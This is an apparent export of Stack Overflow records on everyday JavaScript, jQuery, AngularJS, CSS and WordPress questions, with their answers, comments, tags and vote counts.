has body: I have a Kendo Dataviz UI Map that is displaying all 50 US states, and I need the states to be selectable and change colors when selected. This is easy enough, it looks something like: @(Html.Kendo().Map() .Name("myMap") .Layers(layers =&gt; { layers.Add() .Type(MapLayerType.Shape) .DataSource(dataSource =&gt; { dataSource.GeoJson(); dataSource.Read(read =&gt; read.Action("GetShapes", "MyController"); }); }) .Events(events =&gt; events .ShapeClick("onShapeClick") ) ) ... function onShapeClick(e) { var newColor = "#ff0000"; e.shape.fill(newColor); //var shapeUid = e.shape.dataItem.uid; //TODO: get a list of all shapes on the map //Call shape.fill on any other shapes that share the same uid } The code works for most states. It doesn't work right when the geoJSON source is of type "Multipolygon", as it is with AK, HI, VA, MI, and a few others. Shape.fill() only colors in the polygon that was clicked, not the entire state. So for example, if you click on one of Hawaii's islands, the other three islands don't get filled in. There's a uid for each shape corresponding to the shape's dataitem, and these are the same for different shapes in the same state. But I can't figure out how to find a list of shapes so that I can set the fill on the other shapes? Or I can't figure out if there is another workaround? The best I have so far is to convert my geoJSON to only use Polygons, but that's time consuming and also makes the map look uglier. I haven't been able to find a open source geoJson file that only uses polygons. Thanks for your help!
tagged with: javascript
tagged with: kendo-ui
tagged with: kendo-dataviz
has comment: http://stackoverflow.com/comment/41872343
upvote count: 1
has title: Kendo Map: How to select all shapes when dataSource is a Multipolygon?
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/25621344
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has body: You have to use FormData object to send file using xhr. try rewriting the SelectImage as follows function SelectImage(obj) { var req = new XMLHttpRequest(); var data = new FormData(); req.open('POST', 'upload_image.php', true); req.setRequestHeader('Content-type', 'multipart/form-data'); data.append('upfile', obj.files[0]); req.send(data); req.onreadystatechange = function () { if (req.readyState == 4 &amp;&amp; req.status == 200) console.log(req.responseText); }; } and in server side you will get the file in the upfile.
type: Answer
has comment: http://stackoverflow.com/comment/83418240
has comment: http://stackoverflow.com/comment/40028217
accepted answer of: http://stackoverflow.com/q/25619668
answers question: http://stackoverflow.com/q/25619668

http://stackoverflow.com/comment/40112738
has text: Sorry I just metioned that the fadeOut() works fine, while when I just change that to fadeIn() and add display:none to the opacity,fade In doesnt work
comment on: http://stackoverflow.com/q/25668261
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/57152130
has body: as Asped said, you must take care of assets and avoid loading jquery once in asset js and again in asset public depends like 'yii\web\JqueryAsset',.
type: Answer
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/25603370
score: 0

http://stackoverflow.com/q/25705316
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25705385
has title: Button click text insertion
possible better answer: http://stackoverflow.com/a/25705406
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25705406
accepted answer: http://stackoverflow.com/a/25705385
type: Question
has answer: http://stackoverflow.com/a/25705386
tagged with: javascript
has body: Here is a jsfiddle example of the problem I've been working on: http://jsfiddle.net/YD6PL/61/ HTML: c a t JS: $(document).ready(function () { $('input').click(function(){ $(this).addClass('active').siblings('.active').removeClass('active') }); $(".buttons").click(function () { var cntrl = $(this).html(); $('input.active').append(cntrl); }); }); I'm unable to get the button click to insert the clicked character into the textbox in the jsfiddle example. Any idea how to fix this?
score: 0
has comment: http://stackoverflow.com/comment/40180693
has comment: http://stackoverflow.com/comment/40180628
answer count: 3

http://stackoverflow.com/comment/39912506
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25556776
type: Comment
has text: Yes! Thank you. That was my stupid mistake! It works perfect now. Thank you a lot for your time.

http://stackoverflow.com/q/25608140
has comment: http://stackoverflow.com/comment/40003655
tagged with: regex
type: AnsweredQuestion
score: 2
has body: I'm trying to get a pathname element, after a 'key' pathname, for instance, if I had the path which contained '/colour/red' then I'd like to be able to search for 'colour' and then get 'red'. I'm trying to get '31' from the 'start' pathname. I've tried: var url = 'http://myapp/html/live/index/start/31/sort/start_date' if(/\/start\/([0-9]+)\//.test(url)) { alert(RegExp.$1); }
downvote count: 0
has comment: http://stackoverflow.com/comment/40003725
has title: JS Regex getting a pathname 'value' by 'key'
type: Question
has comment: http://stackoverflow.com/comment/40004479
accepted answer: http://stackoverflow.com/a/25608205
tagged with: javascript
upvote count: 2
has comment: http://stackoverflow.com/comment/40003801
has answer: http://stackoverflow.com/a/25608205
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/39994571
has text: Are two dimensional arrays being deprecated for best practice? O_o
comment on: http://stackoverflow.com/q/25602978
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/q/25615245
has body: I have this code and every time that the first for loop starts again I want it to reset the array to blank as it is using a new user, but I get an out put with all the values in one array. var items = []; for (var i = 0; i &lt; userArray.length; i++) { items.length = 0; for (var i2 = 0; i2 &lt; test.length; i2++) { var UserFavourite = Parse.Object.extend("UserFavourite"); var queryUserFav = new Parse.Query(UserFavourite); queryUserFav.equalTo('item', test[i2].get('item')); queryUserFav.equalTo('school', test[i2].get('school')); queryUserFav.equalTo('user1', userArray[i]) queryUserFav.find().then(function(res) { for (var i3 = 0; i3 &lt; res.length; i3++){ var item = res[i3]; var itemName = item.get('item'); items.push(itemName); if (items !== []) { console.log(items.toString()+" + ") } } }); } } userArray.length is equal to 2 and test.length is equal to 20. If you were wondering. And when it get to the first for loop I want the array to be set back to blank but it isn't? Thanks for the help in advance.
type: Question
has title: javascript - array does not get set back to [] (blank)
has answer: http://stackoverflow.com/a/25633212
tagged with: parse-platform
has comment: http://stackoverflow.com/comment/40016694
score: 0
has answer: http://stackoverflow.com/a/25878150
has answer: http://stackoverflow.com/a/25615458
answer count: 4
has answer: http://stackoverflow.com/a/25615325
type: AnsweredQuestion
tagged with: cloud
tagged with: arrays
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25878150
has comment: http://stackoverflow.com/comment/40016734
possible better answer: http://stackoverflow.com/a/25615325

http://stackoverflow.com/q/25566775
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/39926914
possible better answer: http://stackoverflow.com/a/25567914
has title: Blending 2 elements background colors using CSS
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39927964
has comment: http://stackoverflow.com/comment/39928526
has comment: http://stackoverflow.com/comment/39929171
has answer: http://stackoverflow.com/a/25567914
has answer: http://stackoverflow.com/a/25568108
has comment: http://stackoverflow.com/comment/39927829
has body: I need to blend the background colors of 2 elements using CSS I have been fiddling around with the background-blend-mode:multiply but that works only when I have the 2 colors in the same element. I need to achieve something like this - I have been searching a lot but haven't been able to figure it out. Most helpful resource I found was New blending features in CSS which shows how to do it using Canvas. Is it possible to do the same thing using CSS? EDIT The circles above were just an example to show what I needed. As I mentioned, I was looking for blending colors for 2 different elements. I have created a fiddle for my actual shapes that I need to blend. http://jsfiddle.net/fmgfsr4o/2/
type: Question
upvote count: 12
linked to: http://stackoverflow.com/q/23986063
tagged with: javascript
has comment: http://stackoverflow.com/comment/39929501
score: 12
accepted answer: http://stackoverflow.com/a/25568108
answer count: 2
has comment: http://stackoverflow.com/comment/39926916
downvote count: 0
tagged with: photoshop
favorite count: 0

http://stackoverflow.com/q/25573440
type: AnsweredQuestion
score: 1
tagged with: amd
type: Question
tagged with: commonjs
has title: Difference of module definitions using requireJS
answer count: 1
downvote count: 0
tagged with: javascript
has body: requireJS is giving me a headache atm. requireJS is AMD which by definition says it's asynchronous. Normally I would define a module like this. define("some Name", ["./moduleOne"],function(moduleOne){ //this would be undefined moduleOne.whatEver(); var aMethod = function(){ //user aModule.whatever(); } return { method: aMethod; } }); Ok, I got that I can't directly use moduelOne.whatever because it is loaded asynchronous and it's not there if the callback is being called. First Question, is this correct? Now if I change the module definition to this: define("some Name", function(require, exports){ var moduleOne = require(".moduleOne"); //this is OK moduleOne.whatEver(); var aMethod = function(){ //user aModule.whatever(); } exports.method = aMethod; }); I can use aModule.whatever directly. As I read from the docs, using this (commonJS) style, requires parses the function with Function.prototype.toString, sees the require statement and load the modules directly. I am pretty sure, I am misunderstanding something here and it would be nice of someone could explain how exactly requireJS works and if the second style is really synchronous. Thanks
favorite count: 0
has answer: http://stackoverflow.com/a/25573858
accepted answer: http://stackoverflow.com/a/25573858
upvote count: 1
tagged with: requirejs

http://stackoverflow.com/q/25567265
has comment: http://stackoverflow.com/comment/39928015
linked to: http://stackoverflow.com/q/9713058
linked to: http://stackoverflow.com/q/1349404
has comment: http://stackoverflow.com/comment/39928786
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/39928047
tagged with: ajax
has comment: http://stackoverflow.com/comment/39929445
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39928022
has title: Multipart/form-data with ajax don't work
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39928848
tagged with: php
has comment: http://stackoverflow.com/comment/39928442
has body: I'm trying to emulate a multipart/form-data POST form using AJAX and it doesn't work and I don't know why. I have reviewed the traffic a normal request sends (pressing the "submit" button) and my request and can't tell any difference. However, the receiving page insist in not detecting the ajax POST. What's going wrong?? Here is my form: Pruebas de iframe message1 And here is the page who receives the data "test_ajax_post.html" (pretty simple, tough): <?php echo "Textarea value: " . $_POST["textarea_post"] . " "; ?> The problem is that the response when I click the "submit" button is this: Textarea value: message1 and when I click the 'Send with ajax' button is this (after sniffing it with fiddler): Textarea value: The value of the textarea is missing. I've checked the result, almost bit by bit, and I can't tell any difference. What am I doing wrong? Note: using jQuery or a framework is not an option, because I want modify this to post the content of an iFRAME also. This was the first step in something else. More info: the server is a Windows 2003 running php version 5.3.10. Okay, it is not the best scenario, but I think that the problem is not there. As a client I've used Chrome and Internet Explorer 8.
has comment: http://stackoverflow.com/comment/39927878
has comment: http://stackoverflow.com/comment/39928285
answer count: 0
has comment: http://stackoverflow.com/comment/39927838
type: Question
has comment: http://stackoverflow.com/comment/39927911

http://stackoverflow.com/comment/40160435
has text: that returns "about:blank" ... stubborn issue! thanks for the reply
score: 0
comment on: http://stackoverflow.com/q/25690687
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25623131
has title: How to add Google AdWords Conversion Tracking code in knockoutjs button click event?
has body: I have got following code from Google AdWords. &lt;script type="text/javascript"&gt; /* &lt;![CDATA[ */ var google_conversion_id = 973348620; var google_conversion_language = "en"; var google_conversion_format = "3"; var google_conversion_color = "ffffff"; var google_conversion_label = "uffQCOz32QrMe70gM"; var google_conversion_value = [BookingValue];; var google_remarketing_only = false; /* ]]&gt; */ &lt;/script&gt; &lt;script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js"&gt; &lt;/script&gt; &lt;noscript&gt; &lt;div style="display:inline;"&gt; &lt;img height="1" width="1" style="border-style:none;" alt="" src="//www.googleadservices.com/pagead/conversion/973348620/?value=[BookingValue];&amp;amp;label=uffQCOz32QrMe70gM&amp;amp;guid=ON&amp;amp;script=0"/&gt; &lt;/div&gt; &lt;/noscript&gt; I have designed my code using knockoutjs as single page application. I need to add this tracking code on success event of ajax call. So I need to implement all above code inside javascript code.
type: AnsweredQuestion
tagged with: knockout.js
type: Question
possible better answer: http://stackoverflow.com/a/25623273
answer count: 2
tagged with: javascript
tagged with: jquery
tagged with: google-ads-api
tagged with: ajax
score: 0
accepted answer: http://stackoverflow.com/a/25623970
has answer: http://stackoverflow.com/a/25623273
linked to: http://stackoverflow.com/q/21410543
has answer: http://stackoverflow.com/a/25623970

http://stackoverflow.com/q/25696074
tagged with: javascript
has title: Custom form validator fails in Angular 1.3 with $timeout and $setValidity
favorite count: 0
answer count: 1
tagged with: angularjs
type: UnansweredQuestion
upvote count: 1
has body: I made myself a custom validator, that works exactly as I want with AngularJS 1.2 but now I would like to upgrade to the latest and almost stable version of 1.3 but after debugging for some time I found that it doesn't work as expected because I use both $timeout with inside a ctrl.$setValidity. My original and working code (of course it's just a subset of the actual code) is the following: var validator = function(value) { // invalidate field before doing any validation, // so that it's invalid before typing timeout has time to finish and execute ctrl.$setValidity('validation', false); $timeout.cancel(timer); timer = $timeout(function() { var isValid = validate(value); ctrl.$setValidity('validation', isValid); }, 1500); return value; }; // end of validator() // attach the Validator object to the element ctrl.$parsers.unshift(validator); ctrl.$formatters.unshift(validator); I manually change the $setValidity to false because I want to make sure that the user will not post the form before the field is actually finished validated. The timeout is there only so that it gives the user a smoother experience by displaying the error (if there is) only after he finished typing (or at least stop typing after 1.5sec). After that timeout of 1.5sec is finished, the validate(value) kicks in and should update the $setValidity to true or false... This is working perfectly fine in AngularJS 1.2 but not at all in 1.3. Even if I manually set the $setValidity to true by myself it doesn't work and actually stays to a false state, but if I remove the $timeout wrapper, then it's working fine.... but I really need and want my timeout to work! For a reference point of view, my custom validator is available freely to anyone at this Github link Any help is greatly appreciated. EDIT After having help from @SKYWALKR (thanks for starting help), I further went to debug my problem and it is actually much more than what I described at first. My problem seems in fact related to a bunch of things all…
tagged with: angularjs-directive
has answer: http://stackoverflow.com/a/25696752
score: 1
tagged with: angularjs-scope
type: Question
downvote count: 0

http://stackoverflow.com/q/25689389
has comment: http://stackoverflow.com/comment/40153770
score: 2
has body: I have side div with side menu in it and I want to make div height whole page, even if I scroll down. I tried height 100vh gives height of screen page; height 100% I get height until I have menu no more. .menu { float: left; width: 350px; background: #151515; height:100vh; } Next to side menu is main content that exceed height of menu, so i want even if i scroll down that main content background of that menu still goes to the end.
has answer: http://stackoverflow.com/a/25689433
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
has title: How to make div height whole page even when I scroll down
tagged with: css
favorite count: 0
has answer: http://stackoverflow.com/a/25689464
upvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/a/25630203
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25629866
answers question: http://stackoverflow.com/q/25629866
has body: Add a validator cache after document ready $(document).ready(function(){ var vaildator = { isNameError: undefined, isEmailError: undefined, isPasswordError: undefined }; Then, set them to true or false in your three if statements. if (name == '') { vaildator.isNameError = true; $('#arrow_box1').css({ "visibility": "visible" }); } else { vaildator.isNameError = false; $('#box1').css({ "visibility": "hidden" }); } Finally, add if before your ajax call if (vaildator.isNameError === false &amp;&amp; vaildator.isEmailError === false &amp;&amp; vaildator.isPasswordError === false) { $.ajax({
type: Answer
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/40117677
has text: @ArunPJohny He hadn't posted the ajaxSetup when I made my earlier comments. That appears to be the "something else going on", as you pointed out in your answer.
type: QuestionComment
comment on: http://stackoverflow.com/q/25656430
type: Comment
score: 1

http://stackoverflow.com/a/25643726
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25623231
answers question: http://stackoverflow.com/q/25623231
has body: I think this depends on whether you mind the actual SVG being changed, or whether you need the SVG to remain as it is (in which case you will need CSS). As you mention toFront(), I'm assuming its ok to change the SVG. In this case, all you need to do is append the element to the paper/svg again, and it will go to the front. So you can write s.append( element ) or this.paper.append( element ) if you want this to be a function which works for any paper. In this example, I would write it like the following with a reusable hover function... function hoverOverFront() { this.paper.append( this ); this.attr({ fill: 'green' }); } function hoverOut() { this.attr({ fill: 'black' }); }; back.hover( hoverOverFront, hoverOut ); front.hover( hoverOverFront, hoverOut ); jsfiddle
type: Answer
score: 3
upvote count: 3

http://stackoverflow.com/comment/40155071
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25691481
has text: May we have a sample JSON?

http://stackoverflow.com/a/25691261
answers question: http://stackoverflow.com/q/25690977
score: 2
accepted answer of: http://stackoverflow.com/q/25690977
downvote count: 0
has body: :) actually this is all you need: DEMO $("#first [class^=img-]").hover(function() { $('#second .text-'+ this.className.replace(/\D/g,'')).toggle(); }); If you want to toggle classes? Nothing simpler: DEMO $("#first [class^=img-]").hover(function() { $(this).toggleClass("wow"); $('#second .text-'+ this.className.replace(/\D/g,'')).toggleClass("wow"); }); To explain the above, you just need to find out the number of the hovered element and reference-by number the needed .text-N element. Also this &lt;section id="#first"&gt;, that #first is not the way to set an ID to an HTML element. Use simply &lt;section id="first"&gt;
upvote count: 2
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/25662645
score: 3
has answer: http://stackoverflow.com/a/25662728
upvote count: 3
has comment: http://stackoverflow.com/comment/40102413
type: Question
has answer: http://stackoverflow.com/a/25662758
has comment: http://stackoverflow.com/comment/40102394
linked to: http://stackoverflow.com/q/449780
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25662753
accepted answer: http://stackoverflow.com/a/25662728
answer count: 3
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40102336
downvote count: 0
possible better answer: http://stackoverflow.com/a/25662753
has comment: http://stackoverflow.com/comment/40102327
has title: Using a drop-down multiple times
favorite count: 0
tagged with: css
has body: Is it possible to write a menu and use it in multiple places on web page? example: Select Quantity 50 - 60 61 - 70 71 - 80 Above 80 How can I use this menu multiple times within the same webpage?
type: AnsweredQuestion

http://stackoverflow.com/comment/97436244
comment on: http://stackoverflow.com/a/25671495
has text: Is there a way to avoid the arbitrary orientation or set the initial orientation manually with ExtrudeGeometry (or ExtrudeBufferGeometry)?
score: 1
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25620593
has comment: http://stackoverflow.com/comment/40026125
accepted answer: http://stackoverflow.com/a/25620678
possible better answer: http://stackoverflow.com/a/25620646
score: 0
has comment: http://stackoverflow.com/comment/40026430
tagged with: http://stackoverflow.com/tag/html
has body: I have this dialog function in which it asks "add(the inputted amoun)?" In my code i used this ("Add " + amntDATA + " ?"). but this is the outcome Add [object HTMLInputElement] ? html code: Amount: ADD script: function ConfirmFunction() { var amntDATA = document.contribution.contriamnt; if (confirm("Add " + amntDATA + " ?") == true) { return true; } else { return false; } }
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25620678
has title: adding data to a confirmation dialog
answer count: 2
has answer: http://stackoverflow.com/a/25620646
tagged with: javascript

http://stackoverflow.com/a/25687485
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40147095
answers question: http://stackoverflow.com/q/25687430
has comment: http://stackoverflow.com/comment/40147080
has body: Let me see if I'm understanding: you have like so you want to change js inside the $(function(){ //$('.classwith_alldata').removeAttr('onclick'); $('.classwith_alldata').('on', 'click', function(){ myfunction(); ... }); });
has comment: http://stackoverflow.com/comment/40147065

http://stackoverflow.com/comment/40001674
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25606731
has text: Using jQuery, you can easily get it with `$('outer-most-tag-name').text()`

http://stackoverflow.com/a/25698208
has body: You can set dynamically navbar-fixed-top style to keep navbar fixed on top. This code adds the required class when the navigation bar reaches the upper limit of the window. EDIT Last night I was tired and I could not finish polishing the code. Here the final solution. I should clarify that I have not looked at your code and I've started from scratch. Tested on: Opera 24.0 Safari 5.1.7 (on windows) Firefox 31.0 Chrome 36 Chrome 36 - mobile emulation JAVASCRIPT // assets var win = $(window); var nav = $('#nav'); // this element fills the space normally occupied by the navigation bar when becomes fixed. var navproxy = $('#navproxy'); var body = $('body'); var topdiv = $('#topdiv'); // put navbar at bottom, by setting height of topbanner function setupTopdiv(event) { topdiv.height(win.height() - nav.height()); navproxy.height(nav.outerHeight(true)); // trigger scroll win.scroll(); }; // setup topdiv setupTopdiv(); // On resize, setup toolbanner again win.on('resize', setupTopdiv); // On scroll, check for fix navbar win.on('scroll', function () { var bh = win.height(); var sh = nav.height(); var st = win.scrollTop(); if (st > bh - sh) { nav.addClass("navbar-fixed-top"); // this element fills the space normally occupied by navbar navproxy.removeClass("hidden"); } else { nav.removeClass("navbar-fixed-top"); navproxy.addClass("hidden"); } }); JSFIDDLE JSFIDDLE SHOW
answers question: http://stackoverflow.com/q/25698148
upvote count: 2
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40167834
type: Answer

http://stackoverflow.com/q/25614636
upvote count: 1
score: 1
has body: No real code to show you, just a general question. Annotator.js works fine on my local server, but the second I deploy it, it stops working. Sorry for the lack of specificity, but has anyone experienced anything similar? Thanks!
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
has title: annotator.js working locally but not on web server, any ideas?
has answer: http://stackoverflow.com/a/34297832
type: UnansweredQuestion
tagged with: annotations

http://stackoverflow.com/q/25656670
has answer: http://stackoverflow.com/a/25660635
has comment: http://stackoverflow.com/comment/40092267
type: UnansweredQuestion
has title: Is each else a good place to put a loading image?
downvote count: 0
has comment: http://stackoverflow.com/comment/40092353
tagged with: javascript
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25657012
type: Question
tagged with: meteor
answer count: 2
has body: {{#each posts}} {{&gt; post}} {{else}} loader.gif {{\each}} I found about else in each accidentally and it seems it does its job quite good (at least on my localhost). What I want is to show a loader when meteor is still retrieving posts from the database. Does it do this job? What are the caveats of else in each?
upvote count: 1

http://stackoverflow.com/comment/40117605
has text: So I tried both answers here. Rich's answer still gave me the blank chunk at the top but my logs say everything was loaded and rendered. This makes me wonder if there is possibly something wrong with my markup? Not sure. Racer's answer gave me undefined method `topic' for #<Array:0x000001019aff18>): contained here -> <%= link_to pit.topic, pit_path(pit) %> I'm perplexed here as to why it allows me to as much in the index file but not in my partial when using <%= j (render :partial => 'pits/pit', locals: {pits: @pits}) %>
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25654521
type: Comment

http://stackoverflow.com/comment/39962778
type: Comment
comment on: http://stackoverflow.com/q/25585879
type: QuestionComment
score: 1
has text: try this window.location = newUrl;

http://stackoverflow.com/a/30543356
type: AcceptedAnswer
upvote count: 5
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/49208406
score: 5
accepted answer of: http://stackoverflow.com/q/25688005
answers question: http://stackoverflow.com/q/25688005
has body: I am using this code presently. This can fetch more than 1000 results. The values are sorted according to "objectId". You can sort according to "createdAt" by changing accordingly. Final results are stored in result array var result = []; var processCallback = function(res) { result = result.concat(res); if (res.length == 1000) { process(res[res.length-1].id); return; } //To print all the ids for(var i=0;i&lt;result.length;i++){ console.log(result[i].id); } } var process = function(skip) { var query = new Parse.Query("ObjectName"); if (skip) { query.greaterThan("objectId", skip); } query.limit(1000); query.ascending("objectId"); query.find().then(function querySuccess(res) { processCallback(res); }, function queryFailed(error) { }); } process(false);

http://stackoverflow.com/comment/40173470
type: QuestionComment
type: Comment
has text: That's just not going to work. You can however write a function that allows you to set one or more CSS properties on elements selected by class name.
score: 0
comment on: http://stackoverflow.com/q/25701628

http://stackoverflow.com/a/25664644
score: 0
upvote count: 1
downvote count: 1
has body: Just for fun (works only with strings and numbers). [2,2,2,3,3,3,3,3].join().match(/3/g).length; // return 5
has comment: http://stackoverflow.com/comment/41612481
type: Answer
answers question: http://stackoverflow.com/q/25664580

http://stackoverflow.com/comment/39940946
type: AnswerComment
comment on: http://stackoverflow.com/a/25564453
type: Comment
has text: Good, then how exactly do you produce that text? Is it static HTML? a JS string? Downloaded through AJAX? Taken from a DB with C#, PHP, Java? Please be more specific and add code examples, because right now it's impossible to understand where the problem is.
score: 0

http://stackoverflow.com/comment/40062747
comment on: http://stackoverflow.com/q/25608307
has text: Can you show your own javascript efforts first?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40180906
type: AnswerComment
type: Comment
has text: I am not looking to edit field values but rather resize the fields themselves. See the fiddle. Just not sure how to call the resize function at the specific time I need it. Not as simple as `resizeInput();`
comment on: http://stackoverflow.com/a/25705465
score: 0

http://stackoverflow.com/comment/39924692
has text: basically the same way you would be doing if the script was in the page self, except you'll be prefixing some instructions with `parent.`
comment on: http://stackoverflow.com/q/25565552
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/25667437
has body: total which is initialized in ng-repeat will be of a different scope and can not be accessed outside the loop. Try this: {{value.total}} Total Of All Values: {{ total }}
upvote count: 6
accepted answer of: http://stackoverflow.com/q/25667130
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25667130
type: Answer
downvote count: 0
score: 6

http://stackoverflow.com/comment/40299133
score: 0
type: AnswerComment
type: Comment
has text: Thanks for your answer, I'll accept it once I get some time to try it.
comment on: http://stackoverflow.com/a/25709077

http://stackoverflow.com/comment/39918472
type: Comment
comment on: http://stackoverflow.com/q/25562199
score: 0
type: QuestionComment
has text: is there any solution to validation

http://stackoverflow.com/a/25574691
has comment: http://stackoverflow.com/comment/39943071
has comment: http://stackoverflow.com/comment/39942542
type: Answer
has body: you need to access the directive scope variable as similarly as you name the directive in the HTML markup
has comment: http://stackoverflow.com/comment/39943039
has comment: http://stackoverflow.com/comment/39942825
upvote count: 1
answers question: http://stackoverflow.com/q/25574636
has comment: http://stackoverflow.com/comment/39942919
score: 1
downvote count: 0

http://stackoverflow.com/comment/39909896
type: Comment
type: QuestionComment
has text: Pretty sure this is supposed to be parsed server side...
comment on: http://stackoverflow.com/q/25557344
score: 0

http://stackoverflow.com/comment/39897237
has text: Without seeing what your HTML looks like, it's hard to give suggestions, but assuming every `#saveXX` has a common class, you can get the `id` through use of `$('classname').attr('id')` and then look for the element with the appropriate `#contentXX`.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25550867

http://stackoverflow.com/comment/40142354
comment on: http://stackoverflow.com/q/25684499
type: Comment
score: 0
has text: Have you tried my code? I think it works...
type: QuestionComment

http://stackoverflow.com/comment/40088242
score: 0
type: Comment
type: QuestionComment
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/60579/discussion-between-user545424-and-brian).
comment on: http://stackoverflow.com/q/25653340

http://stackoverflow.com/comment/40101746
has text: What is `pudding://`? :D
score: 4
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25662272

http://stackoverflow.com/q/25697606
tagged with: undefined-function
duplicate of: http://stackoverflow.com/q/2130241
tagged with: javascript
linked to: http://stackoverflow.com/q/1101668
has title: Error when calling a method in a setInterval
score: 0
possible better answer: http://stackoverflow.com/a/25698074
answer count: 2
has answer: http://stackoverflow.com/a/25698074
linked to: http://stackoverflow.com/q/21429255
tagged with: setinterval
has answer: http://stackoverflow.com/a/25697627
has body: I am having trouble calling methods in a setInterval... Here is a snippet of my code... var example = function(){ this.animate = function(){ console.log("Animate."); } this.updateTimer = function(){ // This is being called... this.timer = setInterval(function(){ this.animate(); // A "Undefined Is Not A Function" error is being thrown here. }, 1); } }
has comment: http://stackoverflow.com/comment/40168182
has comment: http://stackoverflow.com/comment/40166868
linked to: http://stackoverflow.com/q/21370768
has comment: http://stackoverflow.com/comment/40168173
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25697627
linked to: http://stackoverflow.com/q/11931612
linked to: http://stackoverflow.com/q/2130241
type: Question
linked to: http://stackoverflow.com/q/3308790

http://stackoverflow.com/comment/40176238
type: Comment
has text: why not modifying src when modal is shown, instead of the other way around?
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/25703050

http://stackoverflow.com/q/25703012
tagged with: jquery
tagged with: ajax
score: 3
downvote count: 0
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25712876
has comment: http://stackoverflow.com/comment/40176326
has title: Wordpress ajax returning html
has comment: http://stackoverflow.com/comment/40176485
has comment: http://stackoverflow.com/comment/40176410
has comment: http://stackoverflow.com/comment/40177105
tagged with: php
type: AnsweredQuestion
upvote count: 3
tagged with: wordpress
type: Question
has comment: http://stackoverflow.com/comment/40176394
has body: Am using WordPress ajax to load the sub-categories dynamically. Here's my code Php code function techento_getsubcat() { $category_name = $_POST['catname']; $cat_id = $_POST['catid']; return wp_dropdown_categories( 'show_option_none=Choose a Sub Category&amp;tab_index=10&amp;taxonomy=category&amp;hide_empty=0&amp;child_of=' . $cat_id . '' ); } add_action('wp_ajax_techento_getsubcat', 'techento_getsubcat'); add_action('wp_ajax_nopriv_techento_getsubcat', 'techento_getsubcat'); Jquery jQuery(document).ready(function(){ $('#cat').change(function(e){ alert("changed"); $.ajax({ type: 'POST', dataType: 'json', url: pcAjax.ajaxurl , data: { 'action': 'techento_getsubcat', //calls wp_ajax_nopriv_ajaxlogin 'catname': $('#cat option:selected').text(), 'catid': $('#cat option:selected').val() }, success : function(response){ alert(response); console.log(response); $("#subcats").html(response); } }); e.preventDefault(); }); }); The problem with the above code is that php returns the raw html irrespective of the thing asked to return even if set it to return true; it then returns the raw html of subcategories generated plus '0'
has answer: http://stackoverflow.com/a/25712876
tagged with: javascript

http://stackoverflow.com/a/25676809
has comment: http://stackoverflow.com/comment/41123364
has comment: http://stackoverflow.com/comment/41128179
accepted answer of: http://stackoverflow.com/q/25676054
has comment: http://stackoverflow.com/comment/41269621
upvote count: 1
type: AcceptedAnswer
has body: Depending on the markup, this could be done with javascript / jQuery: for (var i = 0; i &lt; $("tr.fc-row").length; i++) { $(".fc-row:eq(" + i + ")").css("z-index", ($("tr.fc-row").length - i)); } This applies in case all .fc-rows on the page should get a lower z-index; in case this would only apply for all .fc-rows in a specific container having a specific class, e.g. .fc-month or .fc-table, this could be easily adjusted in the script. Update: For the follow up issue that the z-index values get reset/removed when changing views - I just checked the documentation and found a solution for it. It's possible to add the eventAfterAllRender-callback - http://fullcalendar.io/docs/event_rendering/eventAfterAllRender/ - to your current settings. As example, when initializing the fullcalendar: $('#calendar').fullCalendar({ /* your current settings */ eventAfterAllRender: function() { for (var i = 0; i &lt; $("tr.fc-week").length; i++) { $(".fc-week:eq(" + i + ")").css("z-index", ($("tr.fc-week").length - i)); } } }); eventAfterAllRender is called whenever the view is completely rendered, so it's only necessary to add the function here and it will add the z-index values for first view and whenever the view is changed. Just created a Fiddle as example: When you check the rows with web developer tools you'll notice the z-index values that'll be set for each week row, initially as well when changing the view to previous or next month. Though this seems to work like intended, it could be better to only call this function when the month view is changed - there's another callback viewRender - 